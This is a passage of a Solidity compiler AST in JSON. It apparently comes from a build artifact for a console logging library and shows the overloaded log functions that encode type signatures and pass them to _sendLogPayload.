\"log(bool,string,string,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21264,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46619:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21265,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46623:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46619:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21271,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46619:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21263,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"46603:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21272,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46603:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21273,"nodeType":"ExpressionStatement","src":"46603:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46521:3:14","parameters":{"id":21261,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21254,"mutability":"mutable","name":"p0","nameLocation":"46530:2:14","nodeType":"VariableDeclaration","scope":21275,"src":"46525:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21253,"name":"bool","nodeType":"ElementaryTypeName","src":"46525:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21256,"mutability":"mutable","name":"p1","nameLocation":"46548:2:14","nodeType":"VariableDeclaration","scope":21275,"src":"46534:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21255,"name":"string","nodeType":"ElementaryTypeName","src":"46534:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21258,"mutability":"mutable","name":"p2","nameLocation":"46566:2:14","nodeType":"VariableDeclaration","scope":21275,"src":"46552:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21257,"name":"string","nodeType":"ElementaryTypeName","src":"46552:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21260,"mutability":"mutable","name":"p3","nameLocation":"46575:2:14","nodeType":"VariableDeclaration","scope":21275,"src":"46570:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21259,"name":"uint","nodeType":"ElementaryTypeName","src":"46570:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"46524:54:14"},"returnParameters":{"id":21262,"nodeType":"ParameterList","parameters":[],"src":"46593:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21298,"nodeType":"FunctionDefinition","src":"46704:197:14","nodes":[],"body":{"id":21297,"nodeType":"Block","src":"46794:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c737472696e6729","id":21289,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"46844:32:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1762e32af9fa924f818d8f4a6c92011d30129df73749081e0b95feea819a17c9","typeString":"literal_string \"log(bool,string,string,string)\""},"value":"log(bool,string,string,string)"},{"id":21290,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21277,"src":"46878:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21291,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21279,"src":"46882:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21292,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21281,"src":"46886:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21293,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21283,"src":"46890:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1762e32af9fa924f818d8f4a6c92011d30129df73749081e0b95feea819a17c9","typeString":"literal_string \"log(bool,string,string,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21287,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46820:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21288,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46824:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46820:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21294,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46820:73:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21286,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"46804:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46804:90:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21296,"nodeType":"ExpressionStatement","src":"46804:90:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46713:3:14","parameters":{"id":21284,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21277,"mutability":"mutable","name":"p0","nameLocation":"46722:2:14","nodeType":"VariableDeclaration","scope":21298,"src":"46717:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21276,"name":"bool","nodeType":"ElementaryTypeName","src":"46717:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21279,"mutability":"mutable","name":"p1","nameLocation":"46740:2:14","nodeType":"VariableDeclaration","scope":21298,"src":"46726:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21278,"name":"string","nodeType":"ElementaryTypeName","src":"46726:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21281,"mutability":"mutable","name":"p2","nameLocation":"46758:2:14","nodeType":"VariableDeclaration","scope":21298,"src":"46744:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21280,"name":"string","nodeType":"ElementaryTypeName","src":"46744:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21283,"mutability":"mutable","name":"p3","nameLocation":"46776:2:14","nodeType":"VariableDeclaration","scope":21298,"src":"46762:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21282,"name":"string","nodeType":"ElementaryTypeName","src":"46762:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"46716:63:14"},"returnParameters":{"id":21285,"nodeType":"ParameterList","parameters":[],"src":"46794:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21321,"nodeType":"FunctionDefinition","src":"46907:186:14","nodes":[],"body":{"id":21320,"nodeType":"Block","src":"46988:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c626f6f6c29","id":21312,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47038:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_1e4b87e52d13efc5b368defba0463e423637ec55125c6230945d005f817198d1","typeString":"literal_string \"log(bool,string,string,bool)\""},"value":"log(bool,string,string,bool)"},{"id":21313,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21300,"src":"47070:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21314,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21302,"src":"47074:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21315,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21304,"src":"47078:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21316,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21306,"src":"47082:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1e4b87e52d13efc5b368defba0463e423637ec55125c6230945d005f817198d1","typeString":"literal_string \"log(bool,string,string,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":21310,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47014:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21311,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47018:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47014:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21317,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47014:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21309,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"46998:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21318,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46998:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21319,"nodeType":"ExpressionStatement","src":"46998:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46916:3:14","parameters":{"id":21307,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21300,"mutability":"mutable","name":"p0","nameLocation":"46925:2:14","nodeType":"VariableDeclaration","scope":21321,"src":"46920:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21299,"name":"bool","nodeType":"ElementaryTypeName","src":"46920:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21302,"mutability":"mutable","name":"p1","nameLocation":"46943:2:14","nodeType":"VariableDeclaration","scope":21321,"src":"46929:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21301,"name":"string","nodeType":"ElementaryTypeName","src":"46929:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21304,"mutability":"mutable","name":"p2","nameLocation":"46961:2:14","nodeType":"VariableDeclaration","scope":21321,"src":"46947:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21303,"name":"string","nodeType":"ElementaryTypeName","src":"46947:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21306,"mutability":"mutable","name":"p3","nameLocation":"46970:2:14","nodeType":"VariableDeclaration","scope":21321,"src":"46965:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21305,"name":"bool","nodeType":"ElementaryTypeName","src":"46965:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"46919:54:14"},"returnParameters":{"id":21308,"nodeType":"ParameterList","parameters":[],"src":"46988:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21344,"nodeType":"FunctionDefinition","src":"47099:192:14","nodes":[],"body":{"id":21343,"nodeType":"Block","src":"47183:108:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c737472696e672c6164647265737329","id":21335,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47233:33:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_97d394d89551bd441d1340d1c3dcc3b6160871bf042c6884bcb4049b2fa2bdb5","typeString":"literal_string \"log(bool,string,string,address)\""},"value":"log(bool,string,string,address)"},{"id":21336,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21323,"src":"47268:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21337,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21325,"src":"47272:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21338,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21327,"src":"47276:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21339,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21329,"src":"47280:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_97d394d89551bd441d1340d1c3dcc3b6160871bf042c6884bcb4049b2fa2bdb5","typeString":"literal_string \"log(bool,string,string,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":21333,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47209:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21334,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47213:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47209:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21340,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47209:74:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21332,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"47193:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21341,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47193:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21342,"nodeType":"ExpressionStatement","src":"47193:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47108:3:14","parameters":{"id":21330,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21323,"mutability":"mutable","name":"p0","nameLocation":"47117:2:14","nodeType":"VariableDeclaration","scope":21344,"src":"47112:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21322,"name":"bool","nodeType":"ElementaryTypeName","src":"47112:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21325,"mutability":"mutable","name":"p1","nameLocation":"47135:2:14","nodeType":"VariableDeclaration","scope":21344,"src":"47121:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21324,"name":"string","nodeType":"ElementaryTypeName","src":"47121:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21327,"mutability":"mutable","name":"p2","nameLocation":"47153:2:14","nodeType":"VariableDeclaration","scope":21344,"src":"47139:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21326,"name":"string","nodeType":"ElementaryTypeName","src":"47139:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21329,"mutability":"mutable","name":"p3","nameLocation":"47165:2:14","nodeType":"VariableDeclaration","scope":21344,"src":"47157:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":21328,"name":"address","nodeType":"ElementaryTypeName","src":"47157:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"47111:57:14"},"returnParameters":{"id":21331,"nodeType":"ParameterList","parameters":[],"src":"47183:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21367,"nodeType":"FunctionDefinition","src":"47297:175:14","nodes":[],"body":{"id":21366,"nodeType":"Block","src":"47369:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c75696e7429","id":21358,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47419:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8d6f9ca539d16169f184b68d5f2cbc34ada538d6737083559aa5a96068582055","typeString":"literal_string \"log(bool,string,bool,uint)\""},"value":"log(bool,string,bool,uint)"},{"id":21359,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21346,"src":"47449:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21360,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21348,"src":"47453:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21361,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21350,"src":"47457:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21362,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21352,"src":"47461:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8d6f9ca539d16169f184b68d5f2cbc34ada538d6737083559aa5a96068582055","typeString":"literal_string \"log(bool,string,bool,uint)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":21356,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47395:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21357,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47399:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47395:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21363,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47395:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21355,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"47379:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47379:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21365,"nodeType":"ExpressionStatement","src":"47379:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47306:3:14","parameters":{"id":21353,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21346,"mutability":"mutable","name":"p0","nameLocation":"47315:2:14","nodeType":"VariableDeclaration","scope":21367,"src":"47310:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21345,"name":"bool","nodeType":"ElementaryTypeName","src":"47310:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21348,"mutability":"mutable","name":"p1","nameLocation":"47333:2:14","nodeType":"VariableDeclaration","scope":21367,"src":"47319:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":21347,"name":"string","nodeType":"ElementaryTypeName","src":"47319:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":21350,"mutability":"mutable","name":"p2","nameLocation":"47342:2:14","nodeType":"VariableDeclaration","scope":21367,"src":"47337:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21349,"name":"bool","nodeType":"ElementaryTypeName","src":"47337:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21352,"mutability":"mutable","name":"p3","nameLocation":"47351:2:14","nodeType":"VariableDeclaration","scope":21367,"src":"47346:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":21351,"name":"uint","nodeType":"ElementaryTypeName","src":"47346:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"47309:45:14"},"returnParameters":{"id":21354,"nodeType":"ParameterList","parameters":[],"src":"47369:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":21390,"nodeType":"FunctionDefinition","src":"47478:186:14","nodes":[],"body":{"id":21389,"nodeType":"Block","src":"47559:105:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c737472696e672c626f6f6c2c737472696e6729","id":21381,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47609:30:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_483d0416329d0c81c68975a0cac822497c590c00f8ae8be66af490d0f9215468","typeString":"literal_string \"log(bool,string,bool,string)\""},"value":"log(bool,string,bool,string)"},{"id":21382,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21369,"src":"47641:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21383,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21371,"src":"47645:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":21384,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21373,"src":"47649:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":21385,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":21375,"src":"47653:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_483d0416329d0c81c68975a0cac822497c590c00f8ae8be66af490d0f9215468","typeString":"literal_string \"log(bool,string,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":21379,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47585:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":21380,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47589:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47585:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":21386,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47585:71:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":21378,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"47569:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":21387,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47569:88:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":21388,"nodeType":"ExpressionStatement","src":"47569:88:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47487:3:14","parameters":{"id":21376,"nodeType":"ParameterList","parameters":[{"constant":false,"id":21369,"mutability":"mutable","name":"p0","nameLocation":"47496:2:14","nodeType":"VariableDeclaration","scope":21390,"src":"47491:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":21368,"name":"bool","nodeType":"ElementaryTypeName","src":"47491:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":21371,"mutability":"mutable","name":"p1","nameLocation":"47514:2:14","nodeType":"VariableDeclaration","scope":21390,"src":"